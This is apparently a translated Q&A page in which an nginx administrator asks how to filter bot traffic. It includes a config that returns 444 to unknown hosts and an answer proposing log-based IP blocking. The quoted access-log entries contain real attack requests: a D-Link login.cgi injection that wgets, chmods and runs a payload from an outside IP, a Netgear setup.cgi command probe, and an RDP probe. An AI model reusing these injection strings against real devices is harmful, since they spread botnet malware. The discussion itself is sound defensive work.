过滤 nginx 上的垃圾邮件 HTTP 流量

Posted

技术标签:

【中文标题】过滤 nginx 上的垃圾邮件 HTTP 流量【英文标题】:Filtering out spam HTTP traffic on nginx 【发布时间】:2020-06-18 08:41:59 【问题描述】:

我有一个 Web 服务器来托管我对 Internet Web 应用程序的开放。每个网络应用程序都有自己的子域,例如app1.mycompanydomain.comapp2.mycompanydomain.com。所有传入流量都到达nginx,在那里它解析主机名并将请求代理到同一 VM 上的应用程序 Web 服务器。这是我的配置:

server 
            listen 80;
            server_name _;
            return 444;
    

    server 
            listen 80;
            server_name *.mycompanydomain.com;
            return 301 https://$host$request_uri;
    

    server 
            listen 443 ssl;
            server_name _;

            ssl_certificate /opt/cert/cert.crt;
            ssl_certificate_key /opt/cert/cert.key;

            return 444;
    

    server 
            server_name app1.mycompanydomain.com app1.mycompanydomain.com;
            listen 443 ssl;

            ssl_certificate /opt/cert/cert.crt;
            ssl_certificate_key /opt/cert/cert.key;

            location / 
                    proxy_pass http://localhost:9081/;
            
    

    #Proxying for the rest of the applications look the same

我返回 444 http 状态的块旨在过滤掉我们过去经常收到的自动恶意请求。问题是我们仍然收到相当数量的此类请求。我几乎可以肯定这些请求中的大多数是由不知道目标主机的自动机器人发送的,但由于某种原因,我们无法识别这些请求的目标主机,因此我们无法真正阻止它们。我们尝试记录$host$http_host$server_name,但它们都为空或_。

因此有两个问题:

    请求主机怎么可能是空的?还有其他方法可以识别请求主机吗? 我可以施加哪些其他规则来过滤我们的恶意流量?

仍在通过的恶意流量示例:

1. IP:45.228.213.131 [28/Feb/2020:03:32:25 -0500] 请求:“GET /login.cgi?cli=aa%20aa% 27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP /1.1”,目标:_,代码:400,主体:166,代理:“botnet/2.0”,时间:0.000 毫秒

2. IP:85.93.20.170 [27/Feb/2020:16:29:24 -0500] 请求:“\x03\x00\x00/\xE0\x00\ x00\x00\x00\x00Cookie: mstshash=Administr",目标:_,代码:400,正文:166,代理:“-”,时间:0.132 毫秒

3. IP:31.208.166.61 [25/Feb/2020:16:07:02 -0500] 请求:“GET /setup.cgi?next_file=netgear.cfg&todo= syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1",目标:_,代码:400,正文:166,代理:“Mozilla/5.0”,时间:0.000 毫秒

【问题讨论】:

这只是一个猜测,但也许在过滤恶意请求的服务器块的listen 指令中添加default_server 参数会有所帮助? 【参考方案1】:

我很惊讶还没有人回答这个问题。由于您提供的配置,我没有看到您正在为每个托管外部访问的应用程序单独定义日志文件,您应该这样做:

access_log /var/log/nginx/website1_access.log;
error_log /var/log/nginx/website1_error.log;

通过将它们分开,您可以深入了解每个 FQDN,因为每个站点都有自己的日志文件。然后看看攻击是否有任何模式,并决定从那里处理某种方式。例如 grep 用于您已设置的 444,然后使用“cut”仅显示 IP,然后通过管道进入 sort,然后 uniq,现在您有一个 IP 列表,您可以拒绝甚至阻止防火墙。引入的风险是,如果其中一个 IP 实际上应该访问该站点,但意外地像带有病毒的客户机器一样攻击它,您将如何管理阻止。为了解决这个问题,我建议您将日志文件中的某个特定字符串识别为合法流量,然后将这些 IP 剪切/排序/uniq 作为基线。现在在 444 和其他攻击的列表中查找这些 IP,如果您有匹配项,然后管理您的发现并让他们决定是否要阻止它们或向该用户或客户端提出问题,因为您应该能够通过将攻击的时间戳与 NGINX 服务器相匹配,在您的应用服务器上跟踪用户是谁。我会先做一个试运行,看看它是如何运行一个月的,然后如果没有误报,然后编写一个自动化脚本来检查有问题的 IP,然后在一个单独的配置中拒绝它们,你可以将它们包含在你的 NGINX 配置中。使其对攻击更加敏感的另一件事是,例如,假设您没有在任何有效 URL 中使用 php 或 cgi,您也可以对它们进行 grep 并应用逻辑来自动阻止它们。

以下是一些有助于实现自动化的项目: NGINX Honeypot & NGINX Bad Bot and Referrer Blocker

【讨论】:

以上是关于过滤 nginx 上的垃圾邮件 HTTP 流量的主要内容,如果未能解决你的问题,请参考以下文章

在朴素贝叶斯垃圾邮件过滤中结合个体概率

如何用 Java 利用贝叶斯算法实现垃圾邮件过滤

在贝叶斯垃圾邮件过滤器中计算令牌成为垃圾邮件的概率

Exchange反垃圾解决方案Proxmox Mail Gateway!

目前最好的垃圾邮件过滤算法

用于 Python 的贝叶斯垃圾邮件过滤库